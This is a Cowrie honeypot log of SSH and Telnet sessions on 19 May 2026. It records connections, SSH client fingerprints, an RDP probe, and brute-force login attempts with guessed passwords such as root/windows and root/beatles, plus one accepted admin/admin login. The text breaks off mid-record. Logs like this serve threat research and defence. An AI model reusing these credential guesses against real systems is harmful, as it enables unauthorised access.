{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51852,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ef3371f721f","protocol":"telnet","message":"New connection: 192.119.13.58:51852 (10.17.0.5:23) [session: 4ef3371f721f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:46.383209Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58390,"dst_ip":"159.203.135.109","dst_port":22,"session":"261156c3868c","protocol":"ssh","message":"New connection: 103.176.20.57:58390 (159.203.135.109:22) [session: 261156c3868c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:51.081792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:51.087519Z","src_ip":"103.176.20.57","session":"261156c3868c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:51.340381Z","src_ip":"103.176.20.57","session":"261156c3868c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50180,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b31f89a816","protocol":"telnet","message":"New connection: 192.119.13.58:50180 (10.17.0.5:23) [session: 61b31f89a816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:51.654257Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"future","message":"login attempt [root/future] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:52.104192Z","src_ip":"103.176.20.57","session":"261156c3868c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":40636,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f81d25eecf4","protocol":"ssh","message":"New connection: 62.133.63.178:40636 (159.203.135.109:22) [session: 1f81d25eecf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:53.181151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:53.187613Z","src_ip":"62.133.63.178","session":"1f81d25eecf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:53.315583Z","src_ip":"62.133.63.178","session":"1f81d25eecf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:53.364041Z","src_ip":"103.176.20.57","session":"261156c3868c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"windows","message":"login attempt [root/windows] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:53.695939Z","src_ip":"62.133.63.178","session":"1f81d25eecf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:54.826838Z","src_ip":"62.133.63.178","session":"1f81d25eecf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.178.145","src_port":49518,"dst_ip":"10.17.0.5","dst_port":22,"session":"0273eef23faa","protocol":"ssh","message":"New connection: 107.173.178.145:49518 (10.17.0.5:22) [session: 0273eef23faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:55.483613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-JSCH-0.1.51","message":"Remote SSH version: SSH-2.0-JSCH-0.1.51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:55.829816Z","src_ip":"107.173.178.145","session":"0273eef23faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"069fb483253fc12ecaf3731bac1ae020","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes128-cbc,3des-ctr,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc;hmac-md5,hmac-sha1,hmac-sha2-256,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes128-cbc","3des-ctr","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-md5","hmac-sha1","hmac-sha2-256","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 069fb483253fc12ecaf3731bac1ae020","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:55.928338Z","src_ip":"107.173.178.145","session":"0273eef23faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1","password":"1","message":"login attempt [1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:56.199453Z","src_ip":"107.173.178.145","session":"0273eef23faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44922,"dst_ip":"10.17.0.5","dst_port":23,"session":"636fbcc87037","protocol":"telnet","message":"New connection: 192.119.13.58:44922 (10.17.0.5:23) [session: 636fbcc87037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:56.597682Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46826,"dst_ip":"10.17.0.5","dst_port":23,"session":"04cc2e18056a","protocol":"telnet","message":"New connection: 192.119.13.58:46826 (10.17.0.5:23) [session: 04cc2e18056a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:57.075816Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43380,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7909fe2095","protocol":"telnet","message":"New connection: 192.119.13.58:43380 (10.17.0.5:23) [session: ba7909fe2095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:57.234184Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:57.240254Z","src_ip":"107.173.178.145","session":"0273eef23faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.178.145","src_port":49562,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c464086394d","protocol":"ssh","message":"New connection: 107.173.178.145:49562 (10.17.0.5:22) [session: 4c464086394d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:58.011255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-JSCH-0.1.51","message":"Remote SSH version: SSH-2.0-JSCH-0.1.51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:58.017485Z","src_ip":"107.173.178.145","session":"4c464086394d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"069fb483253fc12ecaf3731bac1ae020","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes128-cbc,3des-ctr,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc;hmac-md5,hmac-sha1,hmac-sha2-256,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes128-cbc","3des-ctr","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-md5","hmac-sha1","hmac-sha2-256","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 069fb483253fc12ecaf3731bac1ae020","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:58.089546Z","src_ip":"107.173.178.145","session":"4c464086394d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.95729422569275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:58.306877Z","src_ip":"192.119.13.58","session":"760618bf3412","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.391563415527344,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:58.716116Z","src_ip":"192.119.13.58","session":"04ce1aaade05","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:58.727287Z","src_ip":"107.173.178.145","session":"4c464086394d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.792445182800293,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:58.868122Z","src_ip":"192.119.13.58","session":"04cc2e18056a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:23:59.009505Z","src_ip":"107.173.178.145","session":"4c464086394d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38866,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a39f63e89b","protocol":"telnet","message":"New connection: 192.119.13.58:38866 (10.17.0.5:23) [session: 81a39f63e89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:02.643246Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57286,"dst_ip":"10.17.0.5","dst_port":23,"session":"069bfd434445","protocol":"telnet","message":"New connection: 192.119.13.58:57286 (10.17.0.5:23) [session: 069bfd434445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:07.856523Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58512,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd565711cdc3","protocol":"telnet","message":"New connection: 192.119.13.58:58512 (10.17.0.5:23) [session: cd565711cdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:08.147403Z"}
{"eventid":"cowrie.session.closed","duration":0.415006160736084,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:08.562284Z","src_ip":"192.119.13.58","session":"cd565711cdc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35084,"dst_ip":"10.17.0.5","dst_port":23,"session":"a100a02adc21","protocol":"telnet","message":"New connection: 192.119.13.58:35084 (10.17.0.5:23) [session: a100a02adc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:09.681514Z"}
{"eventid":"cowrie.session.closed","duration":0.0057430267333984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:09.687148Z","src_ip":"192.119.13.58","session":"a100a02adc21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54499,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fcd3d086d1a","protocol":"ssh","message":"New connection: 152.42.212.128:54499 (159.203.135.109:22) [session: 9fcd3d086d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:11.804004Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:11.808998Z","src_ip":"152.42.212.128","session":"9fcd3d086d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:11.813203Z","src_ip":"152.42.212.128","session":"9fcd3d086d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49990,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e26dbc48015","protocol":"telnet","message":"New connection: 192.119.13.58:49990 (10.17.0.5:23) [session: 5e26dbc48015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:13.843993Z"}
{"eventid":"cowrie.session.closed","duration":7.510575771331787,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:15.366973Z","src_ip":"192.119.13.58","session":"069bfd434445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.60748052597046,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:17.257765Z","src_ip":"192.119.13.58","session":"6575844f4e7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45256,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb6bffa5536b","protocol":"telnet","message":"New connection: 192.119.13.58:45256 (10.17.0.5:23) [session: cb6bffa5536b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:19.151714Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46828,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f083d36f8d1","protocol":"telnet","message":"New connection: 192.119.13.58:46828 (10.17.0.5:23) [session: 4f083d36f8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:19.543895Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":58140,"dst_ip":"10.17.0.5","dst_port":22,"session":"84012997bfec","protocol":"ssh","message":"New connection: 89.108.118.91:58140 (10.17.0.5:22) [session: 84012997bfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:20.862461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:20.867098Z","src_ip":"89.108.118.91","session":"84012997bfec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:21.014663Z","src_ip":"89.108.118.91","session":"84012997bfec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beatles","message":"login attempt [root/beatles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:21.455875Z","src_ip":"89.108.118.91","session":"84012997bfec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.746293783187866,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:21.743853Z","src_ip":"192.119.13.58","session":"4c074158fb37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55148,"dst_ip":"10.17.0.5","dst_port":23,"session":"90570b1baeac","protocol":"telnet","message":"New connection: 192.119.13.58:55148 (10.17.0.5:23) [session: 90570b1baeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:21.748980Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:22.605953Z","src_ip":"89.108.118.91","session":"84012997bfec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35756,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97cc743588d","protocol":"telnet","message":"New connection: 192.119.13.58:35756 (10.17.0.5:23) [session: c97cc743588d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:23.909258Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":2407,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffd6b04aed5a","protocol":"ssh","message":"New connection: 122.51.73.24:2407 (10.17.0.5:22) [session: ffd6b04aed5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:24.458128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:24.463346Z","src_ip":"122.51.73.24","session":"ffd6b04aed5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36724,"dst_ip":"10.17.0.5","dst_port":22,"session":"df510785a4d5","protocol":"ssh","message":"New connection: 193.32.162.145:36724 (10.17.0.5:22) [session: df510785a4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:24.910117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:24.954877Z","src_ip":"193.32.162.145","session":"df510785a4d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:24:25.038292Z","src_ip":"193.32.162.145","session":"df510785a4d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman